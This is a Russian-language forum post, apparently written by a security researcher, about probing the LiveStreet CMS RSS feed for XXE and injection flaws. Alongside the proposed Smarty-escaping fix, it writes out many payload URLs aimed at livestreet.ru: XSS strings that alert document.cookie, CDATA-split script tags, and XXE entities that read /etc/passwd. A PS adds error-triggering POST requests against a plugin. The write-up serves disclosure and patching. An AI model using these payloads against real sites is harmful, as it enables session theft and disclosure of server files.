История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:

livestreet.ru/rss/allcomments/



Код страницы:


пытаемся вызвать то чтобы браузер прочитал код с другого сайта:

подставляем rel=«next» или можно rel=«alternate» чтобы сделать ссылку валидной и urlenco'дим application/rss+xml знак + (плюс) или иначе он просто превратится в пробел т.е. символ %20

В данном случае пытаемся сделать чтобы парсер браузера обработал
<atom:link href="http://ya.ru/" rel="self" type="application/rss+xml" />

и загрузил вместо нашего RSS страницу Яндекса ya.ru или другую вредоносную страницу.
http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="http://ya.ru


к сожалению у нас в ответе удаляется слеш /


пробуем без протокола http: а с href="//ya.ru
http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="//ya.ru



пробуем обратные слеши \\
http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="\\ya.ru



Странно, у нас вернулся только один нормальный слеш /, а не обратный \

пробуем обратные слеши \\ и urlencod'им %5C%5C

http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="%5C%5Cya.ru

возвращаются оба обратных слеша


пробуем заменить один / слеш на urlencode %2f

http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="http:/%2Fya.ru

два слеша // urlenco'дим %2F%2F
http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><atom:link href="http:%2F%2Fya.ru

вот сервер отдаёт 2 слеша, но к сожалению выдаётся страница об ошибке, что URI ненайден в роутинге LiveStreet


злимся, плюём на всё и делем так:
http://livestreet.ru/rss/allcomments/" /><script>alert(document.cookie)</script><?

также можно, через тег IMG
http://livestreet.ru/rss/allcomments/" /><img src=x onerror=alert(document.cookie);><?


специально вызывая ошибку обработки XML в браузере Opera

нажимаем на «Обработать документ как HTML»

Получем XSS.

Открываем в IEtester и проверяем более-менее валибный XML

http://livestreet.ru/rss/allcomments/" /><script>alert(document.cookie)</script><atom:link href="http://livestreet.ru/rss/allcomments



XSS в IE-9 и IE-10 работает.
Но почемуто в реале не работает на моём IE-9

Сразу скажу, что чтение /etc/passwd
<!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

и через PHP base64
<!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]><scan>&test;</scan>

и вызов XSS через XML CDATA
http://livestreet.ru/rss/allcomments/" /><![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

неработают.

тут пробуем создать валидный XML, а всё остальное после нашего кода в комментарии
http://livestreet.ru/rss/allcomments/" rel="next" type="application/rss%2Bxml" /><![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></channel></rss><!--


к сожалению или к счастью неработают. Т.к. используется для генерации шаблон *.tpl в Smarty и данные документы не обрабатываются библиотеками XML PHP (SimpleXML и т.п.).

Скорее всего даное исследование(внедрение кода) можно использовать как SSRF = Server-Side Request Forgery.
Но это как предположение и оно более сложное на практике.
К примеру: подсунуть данный недоделанный XML код — другому парсеру кторый парсит сайт в какойто локальной сети и вызвать у него например через обработку XML кода. XML может отправить нам фаил /etc/passwd из локальной сети предприятия, или защищённого фаерволом и находящейся в DMZ
Из википедии:
DMZ (ДМЗ) (демилитаризованная зона, DMZ) — технология обеспечения защиты информационного периметра, при которой серверы, отвечающие на запросы из внешней сети, находятся в особом сегменте сети (который и называется ДМЗ) и ограничены в доступе к основным сегментам сети с помощью межсетевого экрана (файрвола), с целью минимизировать ущерб при взломе одного из общедоступных сервисов, находящихся в ДМЗ.


Многие скажут: И зачем всё это было писать столко битых неработающих ссылок и картинок, но так и не добившись результата?
Попробую ответить: может ктото захочет продолжить и я где-то недоглядел.


А вобще весь этот бред выше можно заменить строчками ниже:

Решение заменить во всех фаилах шаблонов:

/templates/skin/ ваш шаблон /actions/ActionRss/index.tpl

{$PATH_WEB_CURRENT}
заменить на:
{$PATH_WEB_CURRENT|escape:'html'}

developer
github.com/HiMiC/livestreet/commit/34bb976d7225c439117f48642cf89ea438b23970
synio
github.com/HiMiC/livestreet/commit/aaa499171b48ea08f3fcfc040b6f5ba5ad87c692



PS


плагин popupinfo

POST /popupinfo/getbloginfo/
POST /popupinfo/getbloginfo/ HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Referer: http://site.ru:80/
Cookie: PHPSESSID=a94d2eea10cc4cac09c23aa8c0a86057; n=503a631bf6548f8218e058b7e223bd9e
Host: site.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

param=&security_ls_key=75a085790eda3ec6f68cbe8d8c7cc63a


то будет:
/plugins/popupinfo/classes/actions/ActionPopupinfo.class.php(62): Action->__call('Message_Error', Array)



POST /popupinfo/getuserinfo/
POST /popupinfo/getuserinfo/ HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Referer: http://site.ru:80/
Cookie: PHPSESSID=a94d2eea10cc4cac09c23aa8c0a86057; n=503a631bf6548f8218e058b7e223bd9e
Host: site.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

param=&security_ls_key=75a085790eda3ec6f68cbe8d8c7cc63a


только тут
/plugins/popupinfo/classes/actions/ActionPopupinfo.class.php(37): Action->__call('Message_Error', Array)


можно в POST передать и как массив param[]= тоже вызовется ошибка обработки.

11 комментариев

avatar
Все не читал, но за труд спасибо.
avatar
Прочитал, но не совсем понятно как юзер www-data прочитает фаил /etc/passwd?
avatar
а кто ему помешает, этож не шадоу. И не в черуте же запущено.
avatar
-rw-r--r-- 1 root root 1803 янв. 24 14:27 /etc/passwd

Владелец рут, ведь
avatar
и кто читать то запретит
Что в правилах то написано, прочтите.
avatar
владелец чтение/запись + группа чтение + остальные чтение
avatar
и откуда тогда такой вопрос

как юзер www-data прочитает фаил /etc/passwd?
avatar
Простите, пожалуйста, мою дремучесть. В двух словах — можно продолжать спокойно жить так, как есть или нужно срочно предпринимать какие-то действия?
avatar
можно спокойно жить дальше. много текста, вреда нет.
avatar
Решение:
$PATH_WEB_CURRENT

это вообще нужно выкурить из движка давно. оно формируется на основе введенного УРЛа, нигде не используется, кроме как в РСС и window_login.tpl.

$this->Viewer_Assign('PATH_WEB_CURRENT',self::$sPathWebCurrent);

удалить из роутера т.к. является потенциально возможной проблемой.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.